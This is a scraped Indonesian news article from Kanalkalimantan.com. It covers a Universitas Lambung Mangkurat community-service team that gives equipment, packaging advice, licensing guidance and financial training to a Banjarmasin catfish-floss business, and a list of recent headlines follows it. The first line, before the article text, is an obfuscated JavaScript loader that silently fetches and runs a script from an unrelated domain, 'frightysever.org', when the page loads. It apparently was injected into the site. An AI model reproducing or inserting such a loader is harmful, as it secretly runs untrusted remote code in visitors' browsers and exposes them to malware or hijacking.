(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Tim PKM ULM Beri Pendampingan dan Latih Manajemen UKM Abon Lele di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Tim Pengabdian kepada Masyarakat (PKM) Fakultas MIPA Universitas Lambung Mangkurat mengadakan kegiatan pendampingan pada UKM Fanni Sejahtera yang memproduksi abon lele. Kegiatan tersebut dilaksanakan di tempat produksi UKM di Komplek Madinah, Alalak Utara, Banjarmasin.

UKM ini mempunyai beberapa kolam budi daya ikan lele. Awalnya, sebagian besar hasil panen ikan dijual segar di pasar tradisional dan untuk konsumsi lauk keluarga. Pada awal pandemi, permintaan lele segar mulai menurun sehingga hasil panen tidak terserap pasar.

“Kami mulai memikirkan untuk mengolah ikan lele yang tidak terjual ini. Abon lele inilah yang terpikir untuk dibuat. Terinspirasi dari abon haruan yang saat itu banyak dijual,” ujar Ipan selaku pemilik UKM.

Dia juga menjelaskan, dengan kapasitas produksi yang kecil karena terbatasnya peralatan, abon lele ini cepat habis terjual dan tidak bisa memenuhi permintaan. Proses pembuatan yang masih skala kecil dengan waktu pembuatan yang lama juga menjadi kendala.

 

 

Baca juga: Giring Resmi Jadi Ketum PSI Gantikan Grace Natalie

Dari hasil diskusi dengan tim PkM ULM didapatkan beberapa kondisi yang menjadi fokus pendampingan dari kegiatan yang dilakukan.

Ketua Tim PkM, apt. Nurlely, M.Sc. menjelaskan, kegiatan tersebut bertujuan untuk meningkatkan kualitas dan kapasitas produksi produk olahan pangan khususnya abon lele.

Nurlely menambahkan, kegiatan yang difokuskan adalah peningkatan kapasitas produksi melalui penggunaan peralatan pengering abon, pembenahan kemasan abon dan introduksi perijinan P-IRT untuk memperluas jangkauan pemasaran.

“Pemberian label dan penggunaan kemasan produk yang menarik akan memberikan nilai tambah pada produk. Dengan kemasan yang menarik akan menarik minat pembeli. Label yang berisi informasi produk yang lengkap juga akan memudahkan konsumen mengetahui informasi produk yang benar,” jelasnya.

Baca juga: Tingkatkan Pemasaran, Tim Pengabdi FMIPA ULM Gagas Wisata Panen Madu Kelulut di Sungai Ulin

Dalam kegiatan ini diserahkan beberapa peralatan produksi abon lele seperti alat pengering abon, panci Teflon, dan alat produksi yang lain. Selain itu juga dilakukan pelatihan mengenai pentingnya manajemen keuangan untuk memajukan UKM.

Ipan mengucapkan terima kasih atas kegiatan pendampingan dari PkM ULM ini dan berharap semoga usahanya inni bisa berkembang di kemudian hari. (Kanalkalimantan.com/kk)

Reporter: kk
Editor: cell


Risa

Recent Posts

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

1 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

3 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

3 jam ago

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

3 jam ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

5 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

19 jam ago

This website uses cookies.